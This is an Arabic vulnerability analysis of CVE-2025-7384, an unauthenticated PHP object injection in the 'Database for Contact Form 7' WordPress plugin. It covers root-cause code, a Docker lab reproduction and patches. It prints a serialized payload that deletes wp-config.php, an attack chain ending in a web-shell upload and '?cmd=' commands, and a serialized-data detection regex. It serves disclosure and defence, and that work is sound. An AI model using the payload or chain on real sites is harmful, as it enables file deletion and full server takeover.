CVE-2025-7384 — حقن كائنات PHP المؤدي إلى تنفيذ الأوامر عن بُعد (RCE)

الملحق: Database for Contact Form 7 (contact-form-entries) ≤ 1.4.3
CVSS: 9.8 (حرج)
CWE: CWE-502 — إلغاء تسلسل بيانات غير موثوقة
متطلبات المصادقة: لا شيء (بدون مصادقة)
الأثر: تنفيذ الأوامر عن بُعد

جدول المحتويات

1. نظرة عامة على الثغرة
2. مفاهيم ذات صلة
3. تحليل السبب الجذري (الكود المصدري + التصحيح)
4. سلسلة الهجوم
5. إعادة الإنتاج خطوة بخطوة (POC)
6. تقييم الأثر
7. إجراءات المعالجة

1. نظرة عامة على الثغرة

يحتوي الملحق "Database for Contact Form 7" (المعرّف: contact-form-entries) الإصدار 1.4.3 وما دون على ثغرة حقن كائنات PHP. عندما يعرض مدير ووردبريس سجل نموذج (إدخال) داخل لوحة الإدارة، يستدعي الملحق الدالة maybe_unserialize() مباشرة على بيانات أرسلها مستخدم غير مصادق عبر Contact Form 7، دون التحكم في قائمة الفئات المسموح بإنشائها.

لا يحتاج المهاجم إلى تسجيل الدخول — بل يكفي أن يقدم نموذج اتصال عادي مع إدراج كائن PHP متسلسل في أي حقل من حقول النموذج. تُخزَّن هذه البيانات خامًا في قاعدة البيانات. عندما يفتح المدير عرض هذا الإدخال، تقوم دالة إلغاء التسلسل بإنشاء كائن من اختيار المهاجم، مما يؤدي إلى تشغيل دوال سحرية مثل __destruct() أو __wakeup() → تنفيذ سلوك تعسفي اعتمادًا على أدوات POP المتاحة في بيئة ووردبريس.

مستوى الخطورة: مع أداة POP مناسبة (على سبيل المثال، فئة تستدعي دالة __destruct() الخاصة بها unlink())، يمكن للمهاجم حذف ملف wp-config.php، مما يعيد ووردبريس إلى شاشة التثبيت الأولية → إعادة التثبيت بحساب مدير يتحكم فيه المهاجم → تثبيت ملحق يحتوي قشرة ويب → تحقيق تنفيذ كامل للأوامر عن بُعد (RCE) على الخادم.

2. مفاهيم ذات صلة

تسلسل / إلغاء تسلسل PHP

تستخدم PHP الدالة serialize() لتحويل كائن إلى سلسلة نصية منظمة، والدالة unserialize() لاستعادة الكائن من تلك السلسلة. عندما تستقبل unserialize() بيانات من مصدر غير موثوق (مثل إدخال المستخدم)، يمكن للمهاجم إنشاء كائن تعسفي ينتمي إلى أي فئة محملة حاليًا في ذاكرة PHP في تلك اللحظة.

الدوال السحرية في PHP

دوال خاصة تستدعيها PHP تلقائيًا أثناء دورة حياة الكائن. الأكثر أهمية في هذا السياق:

• __wakeup() — تُستدعى فورًا عند إلغاء تسلسل كائن
• __destruct() — تُستدعى عند تدمير كائن (يخرج عن النطاق، أو تنتهي الطلبية)
• __toString() — تُستدعى عند تحويل كائن إلى سلسلة

سلسلة POP (البرمجة الموجهة بالخصائص)

تقنية لربط عدة دوال سحرية من فئات موجودة داخل التطبيق لبناء سلسلة سلوكيات خطيرة. لا يكتب المهاجم كودًا جديدًا — بل يتلاعب فقط بخصائص الكائنات الموجودة بحيث تنفذ الدوال السحرية إجراءات لم يقصدها المطورون.

maybe_unserialize() في ووردبريس

دالة غلاف في نواة ووردبريس. تستدعي is_serialized() للتحقق مما إذا كانت السلسلة بيانات متسلسلة — إذا كان الأمر كذلك، تستدعي unserialize() لاستعادة الكائن. المشكلة: هذه الدالة لا تمرر معامل allowed_classes (المتوفر منذ PHP 7.0) لتقييد الفئات المسموح بإنشائها.

3. تحليل السبب الجذري — اكتشاف الثغرة من الكود المصدري

الخطوة 1: العثور على نقاط الغرق (Sink Hunting)

ابدأ بفحص الكود المصدري الكامل للملحق لتحديد دوال إلغاء التسلسل — فهذه أخطر الدوال في PHP لأنها قد تؤدي إلى حقن الكائنات:

grep -rn "unserialize" wp-src/wp-content/plugins/contact-form-entries/

يكشف الإخراج عن عدة مواضع استدعاء لـ maybe_unserialize()، أبرزها داخل includes/data.php السطر 545 ضمن الدالة verify_val():

// data.php lines 538-548
public function verify_val($string){
    if(in_array(substr(ltrim($string),0,1), array('{','['))
       && in_array(substr(rtrim($string),-1), array('}',']'))
    ){
        $val = json_decode($string, 1);
        if(is_array($val)){ $string = $val; }
    } else if(is_serialized($string)){            // line 544
        $string = maybe_unserialize($string);     // ★ line 545 — SINK
    }
    return $string;
}

السؤال الأساسي: من أين يأتي المتغير $string؟ إذا جاء من إدخال المستخدم دون تصفية → فهذه ثغرة.

الخطوة 2: التتبع العكسي — من أين تأتي البيانات؟

ابحث عن مكان استدعاء verify_val(). تتبع للخلف في نفس ملف data.php:

// data.php lines 520-535
public function get_lead_detail($lead_id){
    global $wpdb;
    $table = $wpdb->prefix . 'vxcf_leads_detail';
    $detail_arr = $wpdb->get_results(
        $wpdb->prepare("SELECT * FROM $table WHERE lead_id=%d", $lead_id),
        ARRAY_A
    );

    foreach($detail_arr as $k => $v){
        if(!empty($v['value'])){
            $detail_arr[$k]['value'] = $this->verify_val($v['value']);  // ← calls verify_val
        }
    }
    return $detail_arr;
}

→ $string هو بالضبط $v['value'] — القيم المسترجعة من جدول قاعدة البيانات wp_vxcf_leads_detail. تُستدعى هذه الدالة عندما يعرض المدير تفاصيل إدخال نموذج.

السؤال التالي: من أين تأتي البيانات الموجودة في wp_vxcf_leads_detail؟ من يكتبها؟

الخطوة 3: العثور على نقاط كتابة البيانات (المصدر)

من الخطوة 2، نعلم أن البيانات تُسحب من قاعدة البيانات. السؤال التالي: من يكتب البيانات فيها؟ ابحث عن استعلامات INSERT داخل data.php:

grep -rn "insert" wp-src/wp-content/plugins/contact-form-entries/includes/data.php

افتح كود الدالة create_lead() (الأسطر 85-103) للتفاصيل:

في السطرين 98-99، تُدرج القيمة $v — وهي محتوى حقل نموذج (مثل your-message) — مباشرة في قاعدة البيانات عبر $wpdb->insert(). يربط الملحق نفسه بحدث wpcf7_before_send_mail الخاص بـ Contact Form 7، لذا كلما قدم مستخدم نموذجًا، تُخزَّن جميع الحقول خامًا.

فحص إضافي: يستخدم الملحق بالفعل sanitize_text_field() و sanitize_textarea_field() قبل الحفظ، لكن هاتين الدالتين تزيلان فقط وسوم HTML والأحرف الخاصة — والحمولة المتسلسلة مثل O:21:"VulnerableFileHandler":2:{...} لا تحتوي على أي وسوم HTML وبالتالي تمرّ كاملة دون تغيير.

الخطوة 4: الخلاصة — تأكيد الثغرة

عند هذه النقطة، يتضح التدفق الكامل:

Unauthenticated user submits CF7 form (your-message field contains serialized object)
    ↓ sanitize_text_field() — DOES NOT block serialized strings
Saved into wp_vxcf_leads_detail table (raw payload)
    ↓
Admin views entry → get_lead_detail() → verify_val()
    ↓ is_serialized() returns true
maybe_unserialize($string) — line 545 → PHP instantiates arbitrary object
    ↓
Object's __destruct() executes → performs attacker-controlled action

السبب الجذري: تُستدعى الدالة maybe_unserialize() عند data.php:545 على بيانات أصلها إدخال مستخدم غير مصادق، دون تمرير allowed_classes: false. يحتاج المهاجم فقط إلى إرسال كائن PHP متسلسل عبر حقل your-message في نموذج CF7 → عندما يعرض المدير الإدخال، ينشئ PHP الكائن ويطلق الدالة السحرية __destruct().

الخطوة 5: التحقق بالمصحح (Xdebug)

للإثبات البصري، عيّن نقطة توقف باستخدام Xdebug عند السطر 545 من data.php. بعد حقن الحمولة عبر النموذج وقيام المدير بعرض الإدخال، يتوقف المصحح تمامًا عند maybe_unserialize():

لوحة المتغيرات تعرض $string وهي تحمل حمولة المهاجم:

• $string = "O:21:\"VulnerableFileHandler\":2:{s:9:\"file_path\";s:27:\"/var/www/html/wp-config.php\";s:7:\"cleanup\";b:1;}" → انتقلت الحمولة من النموذج → قاعدة البيانات → دالة إلغاء التسلسل دون أن تُحجب

سطر التنفيذ:

• السطر 545: $string=maybe_unserialize($string);

مكدس الاستدعاءات يظهر تسلسل استدعاء الدوال:

vxcf_form_data->verify_val        data.php:545
vxcf_form_data->get_entries       data.php:388
vxcf_form::get_entries            contact-form-entries.php:2682
vxcf_form_pages->entries_page     plugin-pages.php:1017
...
WP_Hook->apply_filters            class-wp-hook.php:324
WP_Hook->do_action                class-wp-hook.php:348

→ يؤكد التدفق الذي تم تحليله بالضبط: يعرض المدير الإدخال → get_entries() → verify_val() → maybe_unserialize().

4. سلسلة الهجوم

تتكون سلسلة الهجوم من 5 مراحل. يحتاج المهاجم فقط إلى تنفيذ المرحلة 1 (تقديم النموذج). تحدث المراحل 2-5 تلقائيًا بعد أن يعرض المدير الإدخال.

المرحلة 1 — حقن الحمولة (بدون مصادقة)

يقدم المهاجم نموذج CF7 مع كائن PHP متسلسل في حقل الرسالة.

• نقطة النهاية: POST /wp-json/contact-form-7/v1/contact-forms/{id}/feedback
• حقل your-message يحتوي: O:21:"VulnerableFileHandler":2:{s:9:"file_path";s:27:"/var/www/html/wp-config.php";s:7:"cleanup";b:1;}
• يحفظ الملحق الحمولة في جدول wp_vxcf_leads_detail — الدالة sanitize_text_field() لا تمنع السلاسل المتسلسلة

المرحلة 2 — تفعيل إلغاء التسلسل (بانتظار المدير)

يفتح المدير صفحة سجلات نماذج الاتصال → يعرض تفاصيل الإدخال → يستدعي الملحق verify_val() → maybe_unserialize().

• ينشئ PHP الكائن VulnerableFileHandler مع file_path = "/var/www/html/wp-config.php" و cleanup = true
• عند انتهاء الطلب، يستدعي جامع القمامة في PHP __destruct() → unlink("/var/www/html/wp-config.php")

المرحلة 3 — حذف ملف تعسفي

يُحذف ملف wp-config.php → يفقد ووردبريس اتصال قاعدة البيانات.

• الوصول إلى http://target/ → يعيد التوجيه تلقائيًا إلى /wp-admin/setup-config.php (شاشة الإعداد الأولي)
• يتعامل ووردبريس مع الموقع على أنه غير مثبت

المرحلة 4 — إعادة تثبيت ووردبريس

يعيد المهاجم تثبيت ووردبريس باستخدام بيانات اعتماد قاعدة بيانات معروفة (أو مخمَّنة بالقوة).

• إنشاء حساب مدير جديد يتحكم فيه المهاجم
• تسجيل الدخول إلى لوحة تحكم المدير بصلاحيات مدير كاملة

المرحلة 5 — تنفيذ الأوامر عن بُعد

تثبيت ملحق يحتوي قشرة ويب → تنفيذ أوامر نظام تعسفية.

• لوحة التحكم → الإضافات → إضافة جديد → رفع ملف ZIP إضافة يحتوي قشرة ويب PHP
• الوصول إلى رابط قشرة الويب: /wp-content/plugins/shell/shell.php?cmd=id
• الإخراج: uid=33(www-data) gid=33(www-data) → اكتمل RCE

5. إعادة الإنتاج خطوة بخطوة (POC)

5.1 إعداد البيئة

شغّل مختبر Docker الذي يحتوي ووردبريس + الملحق الثغري:

cd CVE-2025-7384
docker-compose up --build -d

انتظر حوالي 40 ثانية حتى تعرض السجلات LAB READY. افتح http://localhost:8181 للتحقق من أن ووردبريس يعمل.

5.2 تحديد نقطة الحقن

من تحليل الكود المصدري في القسم 3، نعلم:

• نقطة الغرق تقع عند data.php:545 — maybe_unserialize() على قيم حقول النموذج
• المصدر هو جدول wp_vxcf_leads_detail — البيانات تأتي من نموذج CF7
• التعقيم يعتمد فقط على sanitize_text_field() — لا تمنع السلاسل المتسلسلة

→ الخلاصة: يكفي إرسال كائن PHP متسلسل في أي حقل من حقول نموذج CF7. اختر your-message لأنه حقل textarea، يقبل سلاسل طويلة، وتحقق التنسيق فيه أقل صرامة (على عكس your-email الذي يتطلب تنسيق بريد إلكتروني).

5.3 حقن الحمولة عبر نموذج الاتصال

افتح http://localhost:8181/contact/، واملأ النموذج كما يلي:

شرح الحمولة:

• O:21:"VulnerableFileHandler" — ينشئ الفئة VulnerableFileHandler (التي تحتوي __destruct() تستدعي unlink())
• s:9:"file_path";s:27:"/var/www/html/wp-config.php" — خاصية file_path تشير إلى الملف الهدف المراد حذفه
• s:7:"cleanup";b:1 — الخاصية cleanup = true بحيث ينفذ __destruct() الدالة unlink()

انقر إرسال. يعرض النموذج رسالة خطأ في إرسال البريد (أو نجاح) — لا يهم، لأن ملحق contact-form-entries حفظ جميع البيانات في قاعدة البيانات قبل تسليم البريد.

5.4 تفعيل إلغاء التسلسل — يعرض المدير الإدخال

سجّل الدخول إلى http://localhost:8181/wp-admin (admin / admin123) → من القائمة اليسرى اختر إدخالات CRM → انقر لعرض الإدخال المستلم.

هذه هي اللحظة التي يصل فيها التنفيذ إلى data.php:545 — يسترجع الملحق قيمة your-message من قاعدة البيانات، يعيد فحص is_serialized() قيمة true، يستدعي maybe_unserialize() → ينشئ PHP كائن VulnerableFileHandler → تنتهي الطلبية، ينفذ __destruct() → unlink("/var/www/html/wp-config.php").

5.5 تأكيد حذف الملف التعسفي

انتقل إلى http://localhost:8181/ في المتصفح → يعيد ووردبريس التوجيه إلى صفحة /wp-admin/setup-config.php (شاشة الإعداد الأولي) → تم حذف ملف wp-config.php بنجاح.

5.6 التصعيد إلى RCE

مع حذف wp-config.php، يعود ووردبريس إلى الحالة غير المثبتة. خطوات المهاجم:

الخطوة 1 — إعادة تثبيت ووردبريس:

افتح http://localhost:8181/wp-admin/setup-config.php → أدخل بيانات اعتماد قاعدة البيانات:

انقر إرسال → قم بتشغيل التثبيت → أنشئ حساب مدير جديد يتحكم فيه المهاجم.

الخطوة 2 — رفع قشرة الويب:

سجّل الدخول إلى لوحة تحكم المدير → الإضافات → إضافة جديد → رفع إضافة → ارفع ملف system-health.zip (أو system-monitor.zip).

تم الرفع والتفعيل بنجاح.

الخطوة 3 — تنفيذ الأوامر (RCE):

الوصول إلى: http://localhost:8181/wp-content/plugins/system-monitor/system-monitor.php?cmd=id

الإخراج: uid=33(www-data) gid=33(www-data) → اكتمل تنفيذ الأوامر عن بُعد

الوصول إلى: http://localhost:8181/wp-content/plugins/system-monitor/system-monitor.php?cmd=whoami

الإخراج: www-data → اكتمل تنفيذ الأوامر عن بُعد

6. تقييم الأثر

*تفاعل المستخدم: يصنفه NVD على أنه لا شيء لأن عرض المدير لإدخالات النماذج سلوك متوقع، وليس تفاعل مستخدم غير طبيعي.

النطاق الواقعي للأثر

• ملحق "Database for Contact Form 7" لديه أكثر من 100,000+ تثبيت نشط على wordpress.org
• أي موقع ووردبريس يشغل هذا الإصدار من الملحق ≤ 1.4.3 مع Contact Form 7 معرَّض للثغرة
• لا يحتاج المهاجم إلى أي معلومات مسبقة — فقط يحتاج إلى تحديد أن الموقع يستخدم Contact Form 7 (يمكن اكتشافه بسهولة عبر مصدر HTML)
• الحمولة مخزنة بشكل دائم في قاعدة البيانات، مما يجعل الهجوم مستمرًا حتى حذف الإدخال

7. إجراءات المعالجة

لمطوري الملحق

1. لا تستخدم maybe_unserialize() على بيانات مقدمة من المستخدم. استخدم json_decode() بدلًا منها عندما يكون تخزين بيانات مهيكلة مطلوبًا.

2. إذا كان إلغاء التسلسل ضروريًا للغاية، مرّر خيار allowed_classes: false (PHP 7.0+):

$data = unserialize($string, ['allowed_classes' => false]);

يمنع ذلك PHP من إنشاء أي كائنات — مما يسمح فقط بالأنواع العددية والمصفوفات.

3. تحقق من صحة بيانات الإدخال في طبقة التخزين: إذا كان حقل النموذج يجب أن يحتوي نصًا عاديًا فقط، ارفض أي قيمة تطابق النمط /^[OaCis]:\d+/ (مؤشر على بيانات متسلسلة).

لمسؤولي ووردبريس

1. حدّث الملحق فورًا إلى الإصدار 1.4.4 أو أعلى
2. افحص جدول قاعدة البيانات wp_vxcf_leads_detail بحثًا عن إدخالات تحتوي سلاسل تطابق تنسيق O:XX:"ClassName": — وجودها يشير إلى محاولات هجوم
3. تأكد من أن ملف wp-config.php لديه صلاحيات ملفات مقيدة (440 أو 400) — مما يقلل احتمالية حذفه بواسطة عملية خادم الويب
4. انشر جدار حماية تطبيقات الويب (WAF) مع قواعد لاكتشاف كائنات PHP المتسلسلة في بيانات POST

فرق التصحيح (مرجع)

// BEFORE (vulnerable):
} else if(is_serialized($string)){
    $string = maybe_unserialize($string);
}

// AFTER (patched):
} else if(is_serialized($string)){
    $string = json_decode(json_encode(
        unserialize($string, ['allowed_classes' => false])
    ), true);
}